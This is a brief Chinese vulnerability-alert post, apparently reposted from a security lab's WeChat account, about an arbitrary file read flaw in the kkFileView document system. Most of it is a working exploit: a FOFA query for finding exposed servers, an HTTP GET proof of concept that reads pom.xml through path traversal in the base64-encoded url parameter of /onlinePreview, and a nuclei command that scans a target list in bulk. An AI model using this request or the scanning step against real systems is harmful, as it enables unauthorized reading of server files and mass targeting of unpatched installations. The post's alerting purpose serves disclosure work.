0x02 漏洞描述
kkFileView 文档管理系统 存在任意文件读取漏洞。
0x03 漏洞复现
fofa-qeury: body="/onlinePreview?url"
1.执行poc进行文件读取pom.xml,base64解码得到结果
GET /onlinePreview?url={{base64("http://{{Hostname}}/?fullfilename=../../../../pom.xml")}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
2.nuclei验证脚本已发布于知识星球
nuclei.exe -t kkfileview-wendang-onlinepreview-fileread.yaml -l subs.txt -stats
原文始发于微信公众号(融云攻防实验室):漏洞预警 kkFileView 文档管理系统 任意文件读取漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论